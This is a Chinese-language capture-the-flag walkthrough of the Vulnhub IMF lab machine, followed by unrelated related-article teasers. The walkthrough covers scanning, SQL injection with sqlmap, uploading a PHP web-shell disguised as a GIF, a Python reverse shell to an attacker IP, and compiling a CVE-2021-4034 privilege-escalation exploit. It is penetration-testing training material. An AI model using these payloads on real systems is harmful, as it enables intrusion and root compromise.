Vulnhub-IMF靶機

本篇文章旨在為網絡安全滲透測試靶機教學。通過閱讀本文,讀者將能夠對滲透Vulnhub系列IMF靶機有一定的了解

一、信息收集階段

靶機下載地址:https://www.vulnhub.com/entry/imf-1,162/

因為靶機為本地部署虛擬機網段,查看dhcp地址池設置。得到信息IP為:192.168.220.0/24

1、掃描網段,發現主機

nmap -sP 192.168.220.0/24
# 快速驗證網段存活主機

2、掃描主機詳細信息

nmap -sT -sV -sC  192.168.220.133
#-sT 會嘗試與目標主機的每個端口建立完整的 TCP 連接
#-sV 嘗試確定每個打開端口上運行的服務的版本
#-sC 使用默認的腳本掃描(Script Scanning)可以幫助發現更多的信息,如漏洞、配置錯誤等

3、掃描80端口web目錄

dirb http://192.168.220.133

4、瀏覽網站

http://192.168.220.133/
username:rmichaels    akeith   estoneZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ  #base64解碼
flag2{aW1mYWRtaW5pc3RyYXRvcg==}    #解碼結果aW1mYWRtaW5pc3RyYXRvcg==  #再把flag2進行base64解碼
imfadministrator   #解碼結果http://192.168.220.133/imfadministrator/    

5、登錄后臺

http://192.168.220.133/imfadministrator/
![](https://files.mdnice.com/user/82436/39580798-dd33-4f07-b259-c54df96e315b.png)

二、滲透階段

1、burpsuite爆破后臺

http://192.168.220.133/imfadministrator/

2、php未驗證輸入繞過

flag3{Y29udGludWVUT2Ntcw==}  #base64解碼
continueTOcms   #解碼結果

3、登錄管理后臺

username:rmichaels
passwd:continueTOcms

4、sqlmap爆破

sqlmap -u 'http://192.168.220.133/imfadministrator/cms.php?pagename=disavowlist' -p 'pagename' --dbms 'mysql' --level 3  --cookie 'PHPSESSID=j540ks96b3fb6ksde74tcecec2' --dump

dXBsb2Fkcjk0Mi5waHA=

5、訪問uploadr942.php

http://192.168.220.133/imfadministrator/uploadr942.php

6、上傳一個圖片馬

echo 'GIF89a <?php $cmd=$_GET['cmd']; echo `$cmd`; ?>' > cmd.gif192.168.220.133/imfadministrator/uploads/a5d38eb4e70b .gif

http://192.168.220.133/imfadministrator/uploads/9065f683031f.gif?cmd=id

7、查看文件

http://192.168.220.133/imfadministrator/uploads/9065f683031f.gif?cmd=lshttp://192.168.220.133/imfadministrator/uploads/9065f683031f.gif?cmd=cat%20flag5_abc123def.txtYWdlbnRzZXJ2aWNlcw==   #base64解碼
agentservices			#解碼結果

8、使用python反彈shell

#攻擊機
nc -lvnp 6666#靶機
export RHOST="192.168.220.128";export RPORT=6666;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

三、提權階段

1、信息收集

uname -a 
lsb_release -a

2、下載exp

git clone https://github.com/arthepsy/CVE-2021-4034.git

3、python開啟http微服務

python -m http.server 8088

4、靶機下載poc文件

wget 192.168.220.128:8088/cve-2021-4034-poc.c
gcc -o exp cve-2021-4034-poc.c
./exp
![](https://files.mdnice.com/user/82436/0fe21547-9c71-4c82-b80a-17d06c6856c6.png)

四、總結

首先通過信息收集(如端口掃描、目錄枚舉的源碼審計)發現潛在信息泄露,接著利用SQL注入獲取關鍵上傳php信息,然后通過文件上傳、命令注如(python3反彈shell),連接靶機,最后通過CVE-2021-4034漏洞獲取root權限完成滲透

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/77100.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/77100.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/77100.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Linux內核中TCP協議棧的實現:tcp_close函數的深度剖析

引言 TCP(傳輸控制協議)作為互聯網協議族中的核心協議之一,負責在不可靠的網絡層之上提供可靠的、面向連接的字節流服務。Linux內核中的TCP協議棧實現了TCP協議的全部功能,包括連接建立、數據傳輸、流量控制、擁塞控制以及連接關閉等。本文將深入分析Linux內核中tcp_close…

java+postgresql+swagger-多表關聯insert操作(七)

入參為json&#xff0c;然后根據需要對多張表進行操作&#xff1a; 入參格式&#xff1a; [{"custstoreName":"swagger-測試經銷商01","customerName":"swagger-測試客戶01","propertyNo":"swaggertest01",&quo…

R語言——繪制生命曲線圖(細胞因子IL5)

繪制生命曲線圖&#xff08;根據細胞因子&#xff09; 說明流程代碼加載包讀取Excel文件清理數據重命名列名處理IL-5中的"<"符號 - 替換為檢測下限的一半首先找出所有包含"<"的值檢查缺失移除缺失值根據IL-5中位數將患者分為高低兩組 創建生存對象擬…

Python----計算機視覺處理(Opencv:道路檢測完整版:透視變換,提取車道線,車道線擬合,車道線顯示,)

Python----計算機視覺處理&#xff08;Opencv:道路檢測之道路透視變換) Python----計算機視覺處理&#xff08;Opencv:道路檢測之提取車道線&#xff09; Python----計算機視覺處理&#xff08;Opencv:道路檢測之車道線擬合&#xff09; Python----計算機視覺處理&#xff0…

【Oracle篇】跨字符集遷移:基于數據泵的ZHS16GBK轉AL32UTF8全流程遷移

&#x1f4ab;《博主主頁》&#xff1a;奈斯DB-CSDN博客 &#x1f525;《擅長領域》&#xff1a;擅長阿里云AnalyticDB for MySQL(分布式數據倉庫)、Oracle、MySQL、Linux、prometheus監控&#xff1b;并對SQLserver、NoSQL(MongoDB)有了解 &#x1f496;如果覺得文章對你有所幫…

【C++算法】50.分治_歸并_翻轉對

文章目錄 題目鏈接&#xff1a;題目描述&#xff1a;解法C 算法代碼&#xff1a;圖解 題目鏈接&#xff1a; 493. 翻轉對 題目描述&#xff1a; 解法 分治 策略一&#xff1a;計算當前元素cur1后面&#xff0c;有多少元素的兩倍比我cur1小&#xff08;降序&#xff09; 利用單…

深入講解:智能合約中的讀寫方法

前言 在探秘區塊鏈開發:智能合約在 DApp 中的地位及與傳統開發差異一文中我提到對于智能合約中所有的寫入其實都算是交易。而在一個完整的智能合約代碼中最大的兩個組成部分就是讀取和寫入。 本文將為你深入探討該兩者方法之間的區別。 寫方法 寫方法其實就是對區塊鏈這一…

Go語言類型捕獲及內存大小判斷

代碼如下&#xff1a; 類型捕獲可使用&#xff1a;reflect.TypeOf()&#xff0c;fmt.Printf在的%T。 內存大小判斷&#xff1a;len()&#xff0c;unsafe.Sizeof。 package mainimport ("fmt""unsafe""reflect" )func main(){var i , j 1, 2f…

MyBatis Plus 在 ZKmall開源商城持久層的優化實踐

ZKmall開源商城作為基于 Spring Cloud 的高性能電商平臺&#xff0c;其持久層通過 MyBatis Plus 實現了多項深度優化&#xff0c;涵蓋分庫分表、緩存策略、分頁性能、多租戶隔離等核心場景。以下是具體實踐總結&#xff1a; 一、分庫分表與插件集成優化 1. 分庫分表策略 ?Sh…

學習MySQL第七天

夕陽無限好 只是近黃昏 一、子查詢 1.1 定義 將一個查詢語句嵌套到另一個查詢語句內部的查詢 我們通過具體示例來進行演示&#xff0c;這一篇博客更側重于通過具體的小問題來引導大家獨立思考&#xff0c;然后熟悉子查詢相關的知識點 1.2 問題1 誰的工資比Tom高 方…

Nginx 常見面試題

一、nginx常見錯誤及處理方法 1.1 404 bad request 一般原因&#xff1a;請求的Header過大 解決辦法&#xff1a; 配置nginx.conf 相關設置1. client_header_buffer_size 16k; 2. large_client_header_buffers 4 64k;1.2 413 Request Entity Too Large 一般原因&#xff1…

LeetCode 每日一題 2025/3/31-2025/4/6

記錄了初步解題思路 以及本地實現代碼&#xff1b;并不一定為最優 也希望大家能一起探討 一起進步 目錄 3/31 2278. 字母在字符串中的百分比4/1 2140. 解決智力問題4/2 2873. 有序三元組中的最大值 I4/3 2874. 有序三元組中的最大值 II4/4 1123. 最深葉節點的最近公共祖先4/5 1…

Docker Compose 常用命令 運行 docker-compose.yaml

Docker Compose 中有兩個重要的概念 服務 (service)&#xff1a;一個應用的容器&#xff0c;實際上可以包括若干運行相同鏡像的容器實例。 項目 (project)&#xff1a;由一組關聯的應用容器組成的一個完整業務單元&#xff0c;在 docker-compose.yml 文件中定義。 為了更方便…

深度學習中的 Batch 機制:從理論到實踐的全方位解析

一、Batch 的起源與核心概念 1.1 批量的中文譯名解析 Batch 在深度學習領域標準翻譯為"批量"或"批次"&#xff0c;指代一次性輸入神經網絡進行處理的樣本集合。這一概念源自統計學中的批量處理思想&#xff0c;在計算機視覺先驅者Yann LeCun于1989年提出…

Unity Internal-ScreenSpaceShadows 分析

一、代碼結構 // Unity built-in shader source. Copyright (c) 2016 Unity Technologies. MIT license (see license.txt)Shader "Hidden/Internal-ScreenSpaceShadows" {Properties {_ShadowMapTexture ("", any) "" {} // 陰影貼圖紋理&…

Token+JWT+Redis 實現鑒權機制

TokenJWTRedis 實現鑒權機制 使用 Token、JWT 和 Redis 來實現鑒權機制是一種常見的做法&#xff0c;尤其適用于分布式應用或微服務架構。下面是一個大致的實現思路&#xff1a; 1. Token 和 JWT 概述 Token&#xff1a;通常是一個唯一的字符串&#xff0c;可以用來標識用戶…

RPC與其他通信技術的區別,以及RPC的底層原理

1、什么是 RPC&#xff1f; 遠程過程調用&#xff08;RPC&#xff09; 是一種協議&#xff0c;它允許程序在不同計算機之間進行通信&#xff0c;讓開發者可以像調用本地函數一樣發起遠程請求。 通過 RPC&#xff0c;開發者無需關注底層網絡細節&#xff0c;能夠更專注于業務邏…

簡潔的 PlantUML 入門教程

評論中太多朋友在問&#xff0c;我的文章中圖例如何完成的。 我一直用plantUML,也推薦大家用&#xff0c;下面給出一個簡潔的PlantUML教程。 &#x1f331; 什么是 PlantUML&#xff1f; PlantUML 是一個用純文本語言畫圖的工具&#xff0c;支持流程圖、時序圖、用例圖、類圖、…

互聯網三高-高性能之JVM調優

1 運行時數據區 JVM運行時數據區是Java虛擬機管理的內存核心模塊&#xff0c;主要分為線程共享和線程私有兩部分。 &#xff08;1&#xff09;線程私有 ① 程序計數器&#xff1a;存儲當前線程執行字節碼指令的地址&#xff0c;用于分支、循環、異常處理等流程控制? ② 虛擬機…

淺談StarRocks 常見問題解析

StarRocks數據庫作為高性能分布式分析數據庫&#xff0c;其常見問題及解決方案涵蓋環境部署、數據操作、系統穩定性、安全管控及生態集成五大核心領域&#xff0c;需確保Linux系統環境、依賴庫及環境變量配置嚴格符合官方要求以避免節點啟動失敗&#xff0c;數據導入需遵循格式…